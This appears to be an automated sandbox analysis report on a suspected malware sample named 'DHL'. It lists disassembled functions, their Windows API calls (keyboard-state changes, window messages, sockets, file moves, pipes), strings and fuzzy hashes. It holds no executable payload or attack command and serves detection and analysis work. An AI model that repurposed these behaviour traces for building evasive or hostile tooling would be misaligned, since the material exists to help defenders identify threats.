Instruction Fuzzy Hash: 1A918A756083119FCB04EF28D48196AB7E4FF8A314F04882DF88997351DB35EE45CB92

Function 00A24BAD Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 236COMMON

Download Yara Rule

APIs

Part of subcall function 00A0000E: CLSIDFromProgID.OLE32(?,?,?,00000000,?,?,?,-C000001E,00000001,?,009FFF41,80070057,?,?,?,00A0035E), ref: 00A0002B
Part of subcall function 00A0000E: ProgIDFromCLSID.OLE32(?,00000000,?,?,?,00000000,?,?,?,-C000001E,00000001,?,009FFF41,80070057,?,?), ref: 00A00046
Part of subcall function 00A0000E: lstrcmpiW.KERNEL32(?,00000000,?,?,?,00000000,?,?,?,-C000001E,00000001,?,009FFF41,80070057,?,?), ref: 00A00054
Part of subcall function 00A0000E: CoTaskMemFree.OLE32(00000000,?,00000000,?,?,?,00000000,?,?,?,-C000001E,00000001,?,009FFF41,80070057,?), ref: 00A00064

CoInitializeSecurity.OLE32(00000000,000000FF,00000000,00000000,00000002,00000003,00000000,00000000,00000000,00000001,?,?), ref: 00A24C51
_wcslen.LIBCMT ref: 00A24D59
CoCreateInstanceEx.OLE32(?,00000000,00000015,?,00000001,?), ref: 00A24DCF
CoTaskMemFree.OLE32(?), ref: 00A24DDA

Strings

NULL Pointer assignment, xrefs: 00A24E23, 00A24E52

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: FreeFromProgTask$CreateInitializeInstanceSecurity_wcslenlstrcmpi
String ID: NULL Pointer assignment
API String ID: 614568839-2785691316
Opcode ID: 64be8f4e2c4bd13a4aef1bd7bc968f69c83493fed163af47e37771ffb8e25110
Instruction ID: f34743239a0d2cf8eefeed974345e6738a74db4bbb91dabd915d058d06bfb1ba
Opcode Fuzzy Hash: 64be8f4e2c4bd13a4aef1bd7bc968f69c83493fed163af47e37771ffb8e25110
Instruction Fuzzy Hash: F1912771D0022DAFDF10DFA8DC80AEEB7B8BF48310F108169E915A7241DB349A44CFA0

Function 00A320FD Relevance: 10.7, APIs: 7, Instructions: 196windowCOMMON

Download Yara Rule

APIs

GetMenu.USER32(?), ref: 00A32183
GetMenuItemCount.USER32(00000000), ref: 00A321B5
GetMenuStringW.USER32(00000000,00000000,?,00007FFF,00000400), ref: 00A321DD
_wcslen.LIBCMT ref: 00A32213
GetMenuItemID.USER32(?,?), ref: 00A3224D
GetSubMenu.USER32(?,?), ref: 00A3225B

Part of subcall function 00A03A3D: GetWindowThreadProcessId.USER32(?,00000000), ref: 00A03A57
Part of subcall function 00A03A3D: GetCurrentThreadId.KERNEL32 ref: 00A03A5E
Part of subcall function 00A03A3D: AttachThreadInput.USER32(00000000,?,00000000,00000000,?,00A025B3), ref: 00A03A65

PostMessageW.USER32(?,00000111,00000000,00000000), ref: 00A322E3

Part of subcall function 00A0E97B: Sleep.KERNEL32 ref: 00A0E9F3

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: Menu$Thread$Item$AttachCountCurrentInputMessagePostProcessSleepStringWindow_wcslen
String ID:
API String ID: 4196846111-0
Opcode ID: 3c2fa380c7a274e9908febb0a9d82f6db17abfaa24404a896b51ed7a331d6a49
Instruction ID: 84633dadc9dfca17960ef5214bf145985d1bceb0fb3d5cc9aa82b98231ec93ba
Opcode Fuzzy Hash: 3c2fa380c7a274e9908febb0a9d82f6db17abfaa24404a896b51ed7a331d6a49
Instruction Fuzzy Hash: 80714C75E00215AFCB10EFA4CD45BAEB7F5AF89320F148459F916AB351DB34ED418B90

Function 00A0AEBA Relevance: 10.7, APIs: 7, Instructions: 162windowCOMMON

Download Yara Rule

APIs

GetParent.USER32(?), ref: 00A0AEF9
GetKeyboardState.USER32(?), ref: 00A0AF0E
SetKeyboardState.USER32(?), ref: 00A0AF6F
PostMessageW.USER32(?,00000101,00000010,?), ref: 00A0AF9D
PostMessageW.USER32(?,00000101,00000011,?), ref: 00A0AFBC
PostMessageW.USER32(?,00000101,00000012,?), ref: 00A0AFFD
PostMessageW.USER32(?,00000101,0000005B,?), ref: 00A0B020

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: MessagePost$KeyboardState$Parent
String ID:
API String ID: 87235514-0
Opcode ID: 1f5c1ac01efde82bfab00405d803ff3f51178105420c4898a118cddcf19d7699
Instruction ID: 1599a2bd2064d28c51c741eed5b4f1a113454bf2145f3fefd3dc9b97a8b74cc1
Opcode Fuzzy Hash: 1f5c1ac01efde82bfab00405d803ff3f51178105420c4898a118cddcf19d7699
Instruction Fuzzy Hash: 9751D1A0A147DA3EFB368734DD45BBBBEA95B06304F088489F1D9958C2C398ACC4D761

Function 00A0ACDA Relevance: 10.7, APIs: 7, Instructions: 161windowCOMMON

Download Yara Rule

APIs

GetParent.USER32(00000000), ref: 00A0AD19
GetKeyboardState.USER32(?), ref: 00A0AD2E
SetKeyboardState.USER32(?), ref: 00A0AD8F
PostMessageW.USER32(00000000,00000100,00000010,?), ref: 00A0ADBB
PostMessageW.USER32(00000000,00000100,00000011,?), ref: 00A0ADD8
PostMessageW.USER32(00000000,00000100,00000012,?), ref: 00A0AE17
PostMessageW.USER32(00000000,00000100,0000005B,?), ref: 00A0AE38

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: MessagePost$KeyboardState$Parent
String ID:
API String ID: 87235514-0
Opcode ID: 9518a0fe723e18cb6faad8dc4eac0e23f3a7b7adef6f6f74bf3c31d6562774ac
Instruction ID: c532ceb93a556e524820a6e35e63d9410b352710a07729d00af15fbb0227c262
Opcode Fuzzy Hash: 9518a0fe723e18cb6faad8dc4eac0e23f3a7b7adef6f6f74bf3c31d6562774ac
Instruction Fuzzy Hash: F95107A1A147E93DFB338334DC55BBABEA95B56300F088489F1D5568C3D394EC88D762

Function 009D542E Relevance: 10.7, APIs: 7, Instructions: 152fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleCP.KERNEL32(009E3CD6,?,?,?,?,?,?,?,?,009D5BA3,?,?,009E3CD6,?,?), ref: 009D5470
__fassign.LIBCMT ref: 009D54EB
__fassign.LIBCMT ref: 009D5506
WideCharToMultiByte.KERNEL32(?,00000000,?,00000001,009E3CD6,00000005,00000000,00000000), ref: 009D552C
WriteFile.KERNEL32(?,009E3CD6,00000000,009D5BA3,00000000,?,?,?,?,?,?,?,?,?,009D5BA3,?), ref: 009D554B
WriteFile.KERNEL32(?,?,00000001,009D5BA3,00000000,?,?,?,?,?,?,?,?,?,009D5BA3,?), ref: 009D5584

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: FileWrite__fassign$ByteCharConsoleMultiWide
String ID:
API String ID: 1324828854-0
Opcode ID: 47cdf955f17599b95e17b73ed6b6e5909934a0bad025eb3f279853c3cad35690
Instruction ID: a7afd514a030f6ca33aca619dc774a0dcd2b7b7562bfe3880fca2b04377cbe70
Opcode Fuzzy Hash: 47cdf955f17599b95e17b73ed6b6e5909934a0bad025eb3f279853c3cad35690
Instruction Fuzzy Hash: 7E51C070A00649AFDB11CFA8EC45AEEBBF9EF08300F15851BF555E7391D6309A81CB60

Function 009C2D20 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 117COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 009C2D4B
___except_validate_context_record.LIBVCRUNTIME ref: 009C2D53
_ValidateLocalCookies.LIBCMT ref: 009C2DE1
__IsNonwritableInCurrentImage.LIBCMT ref: 009C2E0C
_ValidateLocalCookies.LIBCMT ref: 009C2E61

Strings

csm, xrefs: 009C2DF6

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: 3c7aa84eec09284f1e9bad31f72879d776e4d4f275f3d2ae2c21946dcdb234ab
Instruction ID: d7bb9b763ace8771f2d0882e1f5e35746d2287156ba7347a483bb38ad7b4d029
Opcode Fuzzy Hash: 3c7aa84eec09284f1e9bad31f72879d776e4d4f275f3d2ae2c21946dcdb234ab
Instruction Fuzzy Hash: F541C334E00209ABCF10DF68C845F9EBBB9BF84364F148159E8156B392DB31AA01CBD2

Function 00A210B8 Relevance: 10.6, APIs: 7, Instructions: 110networkCOMMON

Download Yara Rule

APIs

Part of subcall function 00A2304E: inet_addr.WSOCK32(?,?,?,?,?,00000000), ref: 00A2307A
Part of subcall function 00A2304E: _wcslen.LIBCMT ref: 00A2309B

socket.WSOCK32(00000002,00000001,00000006,?,?,00000000), ref: 00A21112
WSAGetLastError.WSOCK32 ref: 00A21121
WSAGetLastError.WSOCK32 ref: 00A211C9
closesocket.WSOCK32(00000000), ref: 00A211F9

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: ErrorLast$_wcslenclosesocketinet_addrsocket
String ID:
API String ID: 2675159561-0
Opcode ID: 6e8a8e27eefefbf68d1191ea9c2d1964c0dedd0cc98756416055340a655e55f5
Instruction ID: c6e0ec31966f52118c061e2e5d57846bc71211aaefe3f3fb389957f4a78e0069
Opcode Fuzzy Hash: 6e8a8e27eefefbf68d1191ea9c2d1964c0dedd0cc98756416055340a655e55f5
Instruction Fuzzy Hash: 3C41F431600214AFDB10DF68DC85BAAB7E9FF95324F148169FD05AB291D770AE42CBE1

Function 00A0CF00 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 108filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 00A0DDE0: GetFullPathNameW.KERNEL32(00000000,00007FFF,?,?,?,?,?,?,00A0CF22,?), ref: 00A0DDFD

Part of subcall function 00A0DDE0: GetFullPathNameW.KERNEL32(?,00007FFF,?,?,?,?,?,00A0CF22,?), ref: 00A0DE16

lstrcmpiW.KERNEL32(?,?), ref: 00A0CF45
MoveFileW.KERNEL32(?,?), ref: 00A0CF7F
_wcslen.LIBCMT ref: 00A0D005
_wcslen.LIBCMT ref: 00A0D01B
SHFileOperationW.SHELL32(?), ref: 00A0D061

Strings

\*.*, xrefs: 00A0CFF3

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: FileFullNamePath_wcslen$MoveOperationlstrcmpi
String ID: \*.*
API String ID: 3164238972-1173974218
Opcode ID: d8a05c65875bf740bffbce9fdfee695633a50a6e58da9c7efc14750463b34e80
Instruction ID: 2a3098210fb9efd9ce7d0f0e3062f0a34332b0c3d838f39f6a7949a7c0dccd48
Opcode Fuzzy Hash: d8a05c65875bf740bffbce9fdfee695633a50a6e58da9c7efc14750463b34e80
Instruction Fuzzy Hash: 8A4155B190521D5FDF12EFA4ED81FDEB7B8AF48790F0000E6E505EB182EA34AA44CB51

Function 00A32DFD Relevance: 10.6, APIs: 7, Instructions: 99windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,000000F0,00000000,00000000), ref: 00A32E1C
GetWindowLongW.USER32(00000000,000000F0), ref: 00A32E4F
GetWindowLongW.USER32(00000000,000000F0), ref: 00A32E84
SendMessageW.USER32(00000000,000000F1,00000000,00000000), ref: 00A32EB6
SendMessageW.USER32(00000000,000000F1,00000001,00000000), ref: 00A32EE0
GetWindowLongW.USER32(00000000,000000F0), ref: 00A32EF1
SetWindowLongW.USER32(00000000,000000F0,00000000), ref: 00A32F0B

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: LongWindow$MessageSend
String ID:
API String ID: 2178440468-0
Opcode ID: 52dac29a4d14054157c640457351fece0acc22d66eb37fb85e6b828f96c22095
Instruction ID: 3e51d391bf3a68d31dc43f3635de1ada5c761382576181b623419e1e6f026553
Opcode Fuzzy Hash: 52dac29a4d14054157c640457351fece0acc22d66eb37fb85e6b828f96c22095
Instruction Fuzzy Hash: 17313731644250AFDB20CF98DC86F653BE0FB8A720F245164FA049F2B1CB75AC82DB40

Function 00A07726 Relevance: 10.6, APIs: 7, Instructions: 94memoryCOMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 00A07769
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 00A0778F
SysAllocString.OLEAUT32(00000000), ref: 00A07792
SysAllocString.OLEAUT32(?), ref: 00A077B0
SysFreeString.OLEAUT32(?), ref: 00A077B9
StringFromGUID2.OLE32(?,?,00000028), ref: 00A077DE
SysAllocString.OLEAUT32(?), ref: 00A077EC

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: String$Alloc$ByteCharMultiWide$FreeFrom
String ID:
API String ID: 3761583154-0
Opcode ID: d9d26619807b935771f62d687d49e478863345fc296d3e4a822f672e86bdad0b
Instruction ID: 343a3e0531983af7d25c6f4bc3b2fa99731221364674ade6c9d5fe325792464f
Opcode Fuzzy Hash: d9d26619807b935771f62d687d49e478863345fc296d3e4a822f672e86bdad0b
Instruction Fuzzy Hash: FA21A176A0421DAFDF10DFA8DC88DBF77ACEB097A4B048025FA15DB191D670ED428760

Function 00A077FD Relevance: 10.6, APIs: 7, Instructions: 89memoryCOMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 00A07842
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 00A07868
SysAllocString.OLEAUT32(00000000), ref: 00A0786B
SysAllocString.OLEAUT32 ref: 00A0788C
SysFreeString.OLEAUT32 ref: 00A07895
StringFromGUID2.OLE32(?,?,00000028), ref: 00A078AF
SysAllocString.OLEAUT32(?), ref: 00A078BD

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: String$Alloc$ByteCharMultiWide$FreeFrom
String ID:
API String ID: 3761583154-0
Opcode ID: b60ce9907ce95b27260f5be0534e4ee1f9b635ef2fc767c842d9481c4d33ebe4
Instruction ID: fe24e401e6df94ae2809b20de056f2d78926e62aaddde3c6bf1d33797312b7e0
Opcode Fuzzy Hash: b60ce9907ce95b27260f5be0534e4ee1f9b635ef2fc767c842d9481c4d33ebe4
Instruction Fuzzy Hash: 44216232A04208AFDB10DFE8DC8DDAE77ACEB097607108125F915DB2A1D674EC85CB64

Function 00A104D2 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 80pipeCOMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32(0000000C), ref: 00A104F2
CreatePipe.KERNEL32(?,?,0000000C,00000000), ref: 00A1052E

Strings

nul, xrefs: 00A10567

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: CreateHandlePipe
String ID: nul
API String ID: 1424370930-2873401336
Opcode ID: 22368dd3a169b94c02cdb44913bfb776dfbb83af817e83d0e81276ac016317c4
Instruction ID: 55fb6efa740a14525d6b50c8109f6211ae5f7b9a7660d1fa7ac178b22f282c99
Opcode Fuzzy Hash: 22368dd3a169b94c02cdb44913bfb776dfbb83af817e83d0e81276ac016317c4
Instruction Fuzzy Hash: EA213D75500305ABDB209F69DC44EDABBB6BF54774F208A19F8A1E62E0D7B099D1CF20

Function 00A105A7 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 80pipeCOMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32(000000F6), ref: 00A105C6
CreatePipe.KERNEL32(?,?,0000000C,00000000), ref: 00A10601

Strings

nul, xrefs: 00A10639

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: CreateHandlePipe
String ID: nul
API String ID: 1424370930-2873401336
Opcode ID: 225e81c61c06bad161fba7f1082e8e971d80f5c37a1cb6e100e65e70bb3c7ec9
Instruction ID: 8826c42897749b1fd5489450f4ddac54a5cbc958492cd726a39ab297389bc590
Opcode Fuzzy Hash: 225e81c61c06bad161fba7f1082e8e971d80f5c37a1cb6e100e65e70bb3c7ec9
Instruction Fuzzy Hash: 5E2141755003059BDB209FA99C44EDAB7A5AF95730F204A19F8B1E72D0D7F099E1CB50

Function 00A340AD Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 75windowCOMMON

Download Yara Rule

APIs

Part of subcall function 009A600E: CreateWindowExW.USER32(?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 009A604C
Part of subcall function 009A600E: GetStockObject.GDI32(00000011), ref: 009A6060
Part of subcall function 009A600E: SendMessageW.USER32(00000000,00000030,00000000), ref: 009A606A

SendMessageW.USER32(00000000,00002001,00000000,FF000000), ref: 00A34112
SendMessageW.USER32(?,00000409,00000000,FF000000), ref: 00A3411F
SendMessageW.USER32(?,00000402,00000000,00000000), ref: 00A3412A
SendMessageW.USER32(?,00000401,00000000,00640000), ref: 00A34139
SendMessageW.USER32(?,00000404,00000001,00000000), ref: 00A34145

Strings

Msctls_Progress32, xrefs: 00A340E3

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: MessageSend$CreateObjectStockWindow
String ID: Msctls_Progress32
API String ID: 1025951953-3636473452
Opcode ID: cc1c761aeb1ea25bd7f1c1ccd2c6a36c227e7d8501ee5ea41f05d0c1a90eb15b
Instruction ID: f60045719e1b91ada02b55eb46e2d116d543e9099de59852e6967dd3f760e915
Opcode Fuzzy Hash: cc1c761aeb1ea25bd7f1c1ccd2c6a36c227e7d8501ee5ea41f05d0c1a90eb15b
Instruction Fuzzy Hash: 8C11B2B2150219BEEF118FA4CC86EE77FADEF09798F014111FA18A2050CB769C61DBA4

Function 009DD7DF Relevance: 10.6, APIs: 7, Instructions: 65COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 009DD7A3: _free.LIBCMT ref: 009DD7CC

_free.LIBCMT ref: 009DD82D

Part of subcall function 009D29C8: RtlFreeHeap.NTDLL(00000000,00000000,?,009DD7D1,00000000,00000000,00000000,00000000,?,009DD7F8,00000000,00000007,00000000,?,009DDBF5,00000000), ref: 009D29DE
Part of subcall function 009D29C8: GetLastError.KERNEL32(00000000,?,009DD7D1,00000000,00000000,00000000,00000000,?,009DD7F8,00000000,00000007,00000000,?,009DDBF5,00000000,00000000), ref: 009D29F0

_free.LIBCMT ref: 009DD838
_free.LIBCMT ref: 009DD843
_free.LIBCMT ref: 009DD897
_free.LIBCMT ref: 009DD8A2
_free.LIBCMT ref: 009DD8AD
_free.LIBCMT ref: 009DD8B8

Memory Dump Source

Source File: 00000000.00000002.1464884217.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000000.00000002.1464868271.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A3C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465028726.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465133098.0000000000A6C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1465163033.0000000000A74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9a0000_DHL.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: d5e9bbcb1dbdafe4c8d3bd98f36014f41f46dc5d4a3df644b036f3c2391e0fc8
Instruction ID: 5cd90b801f3497e71f8588e03df04e79a25cc8f57ab9715de7d39b59ba3cf581
Opcode Fuzzy Hash: d5e9bbcb1dbdafe4c8d3bd98f36014f41f46dc5d4a3df644b036f3c2391e0fc8
Instruction Fuzzy Hash: 0E1151B15C2B04AAE521BFB0CC47FCB7BDC6F90700F408826B29DB6292DA65B5055650

Function 00A0DA5A Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 46windowCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,?,00000100,00000000), ref: 00A0DA74
LoadStringW.USER32(00000000), ref: 00A0DA7B
GetModuleHandleW.KERNEL32(00000000,00001389,?,00000100), ref: 00A0DA91
LoadStringW.USER32(00000000), ref: 00A0DA98
MessageBoxW.USER32(00000000,?,?,00011010), ref: 00A0DADC

Strings

%s (%d) : ==> %s: %s %s, xrefs: 00A0DAB9

